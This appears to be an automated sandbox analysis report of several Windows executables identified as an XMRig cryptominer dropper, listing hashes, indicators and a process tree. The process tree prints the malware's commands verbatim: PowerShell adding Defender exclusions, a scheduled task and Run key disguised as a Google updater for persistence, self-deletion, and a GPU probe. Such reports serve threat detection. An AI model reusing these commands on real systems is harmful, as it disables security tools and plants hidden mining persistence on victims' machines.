Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
-
max time kernel
1803s -
max time network
1805s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
20/08/2023, 00:18
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20230712-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20230712-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20230712-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20230712-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20230712-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20230712-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20230712-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20230712-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20230712-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20230712-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20230712-en
General
-
Target
QNREJhVYDhHk52cq3.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 4944 created 3160 4944 QNREJhVYDhHk52cq3.exe 51 PID 4944 created 3160 4944 QNREJhVYDhHk52cq3.exe 51 PID 4944 created 3160 4944 QNREJhVYDhHk52cq3.exe 51 PID 4944 created 3160 4944 QNREJhVYDhHk52cq3.exe 51 PID 972 created 3160 972 updater.exe 51 PID 972 created 3160 972 updater.exe 51 PID 972 created 3160 972 updater.exe 51 PID 972 created 3160 972 updater.exe 51 PID 1640 created 3160 1640 conhost.exe 51 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral2/memory/1460-259-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-261-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-263-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-267-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-271-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-273-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-275-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-277-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-279-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-281-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-283-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-285-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-287-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-289-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-291-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-293-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-295-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-297-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-299-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-301-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-303-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-305-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-307-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-309-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-311-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-317-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-319-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-321-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-323-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig behavioral2/memory/1460-325-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 972 updater.exe -
resource yara_rule behavioral2/memory/1460-252-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-259-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-261-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-263-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-267-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-271-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-273-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-275-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-277-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-279-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-281-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-283-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-285-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-287-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-289-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-291-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-293-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-295-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-297-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-299-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-301-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-303-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-305-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-307-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-309-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-311-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-317-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-319-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-321-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-323-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx behavioral2/memory/1460-325-0x00007FF7685F0000-0x00007FF768DE4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 972 set thread context of 1640 972 updater.exe 105 PID 972 set thread context of 1460 972 updater.exe 108 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe QNREJhVYDhHk52cq3.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4176 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4944 QNREJhVYDhHk52cq3.exe 4944 QNREJhVYDhHk52cq3.exe 728 powershell.exe 728 powershell.exe 4944 QNREJhVYDhHk52cq3.exe 4944 QNREJhVYDhHk52cq3.exe 264 powershell.exe 264 powershell.exe 4944 QNREJhVYDhHk52cq3.exe 4944 QNREJhVYDhHk52cq3.exe 4944 QNREJhVYDhHk52cq3.exe 4944 QNREJhVYDhHk52cq3.exe 4248 powershell.exe 4248 powershell.exe 972 updater.exe 972 updater.exe 2036 powershell.exe 2036 powershell.exe 972 updater.exe 972 updater.exe 2500 powershell.exe 2500 powershell.exe 972 updater.exe 972 updater.exe 972 updater.exe 972 updater.exe 1640 conhost.exe 1640 conhost.exe 972 updater.exe 972 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 660 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 728 powershell.exe Token: SeDebugPrivilege 264 powershell.exe Token: SeIncreaseQuotaPrivilege 264 powershell.exe Token: SeSecurityPrivilege 264 powershell.exe Token: SeTakeOwnershipPrivilege 264 powershell.exe Token: SeLoadDriverPrivilege 264 powershell.exe Token: SeSystemProfilePrivilege 264 powershell.exe Token: SeSystemtimePrivilege 264 powershell.exe Token: SeProfSingleProcessPrivilege 264 powershell.exe Token: SeIncBasePriorityPrivilege 264 powershell.exe Token: SeCreatePagefilePrivilege 264 powershell.exe Token: SeBackupPrivilege 264 powershell.exe Token: SeRestorePrivilege 264 powershell.exe Token: SeShutdownPrivilege 264 powershell.exe Token: SeDebugPrivilege 264 powershell.exe Token: SeSystemEnvironmentPrivilege 264 powershell.exe Token: SeRemoteShutdownPrivilege 264 powershell.exe Token: SeUndockPrivilege 264 powershell.exe Token: SeManageVolumePrivilege 264 powershell.exe Token: 33 264 powershell.exe Token: 34 264 powershell.exe Token: 35 264 powershell.exe Token: 36 264 powershell.exe Token: SeIncreaseQuotaPrivilege 264 powershell.exe Token: SeSecurityPrivilege 264 powershell.exe Token: SeTakeOwnershipPrivilege 264 powershell.exe Token: SeLoadDriverPrivilege 264 powershell.exe Token: SeSystemProfilePrivilege 264 powershell.exe Token: SeSystemtimePrivilege 264 powershell.exe Token: SeProfSingleProcessPrivilege 264 powershell.exe Token: SeIncBasePriorityPrivilege 264 powershell.exe Token: SeCreatePagefilePrivilege 264 powershell.exe Token: SeBackupPrivilege 264 powershell.exe Token: SeRestorePrivilege 264 powershell.exe Token: SeShutdownPrivilege 264 powershell.exe Token: SeDebugPrivilege 264 powershell.exe Token: SeSystemEnvironmentPrivilege 264 powershell.exe Token: SeRemoteShutdownPrivilege 264 powershell.exe Token: SeUndockPrivilege 264 powershell.exe Token: SeManageVolumePrivilege 264 powershell.exe Token: 33 264 powershell.exe Token: 34 264 powershell.exe Token: 35 264 powershell.exe Token: 36 264 powershell.exe Token: SeIncreaseQuotaPrivilege 264 powershell.exe Token: SeSecurityPrivilege 264 powershell.exe Token: SeTakeOwnershipPrivilege 264 powershell.exe Token: SeLoadDriverPrivilege 264 powershell.exe Token: SeSystemProfilePrivilege 264 powershell.exe Token: SeSystemtimePrivilege 264 powershell.exe Token: SeProfSingleProcessPrivilege 264 powershell.exe Token: SeIncBasePriorityPrivilege 264 powershell.exe Token: SeCreatePagefilePrivilege 264 powershell.exe Token: SeBackupPrivilege 264 powershell.exe Token: SeRestorePrivilege 264 powershell.exe Token: SeShutdownPrivilege 264 powershell.exe Token: SeDebugPrivilege 264 powershell.exe Token: SeSystemEnvironmentPrivilege 264 powershell.exe Token: SeRemoteShutdownPrivilege 264 powershell.exe Token: SeUndockPrivilege 264 powershell.exe Token: SeManageVolumePrivilege 264 powershell.exe Token: 33 264 powershell.exe Token: 34 264 powershell.exe Token: 35 264 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3008 wrote to memory of 1644 3008 cmd.exe 95 PID 3008 wrote to memory of 1644 3008 cmd.exe 95 PID 4248 wrote to memory of 1740 4248 powershell.exe 98 PID 4248 wrote to memory of 1740 4248 powershell.exe 98 PID 972 wrote to memory of 1640 972 updater.exe 105 PID 3268 wrote to memory of 4176 3268 cmd.exe 107 PID 3268 wrote to memory of 4176 3268 cmd.exe 107 PID 972 wrote to memory of 1460 972 updater.exe 108
Processes
-
C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4944
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3160
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:728
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:264
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\QNREJhVYDhHk52cq3.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3008
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4248 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1740
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2036
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2500
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1640
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3268
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:912
-
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:1644
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
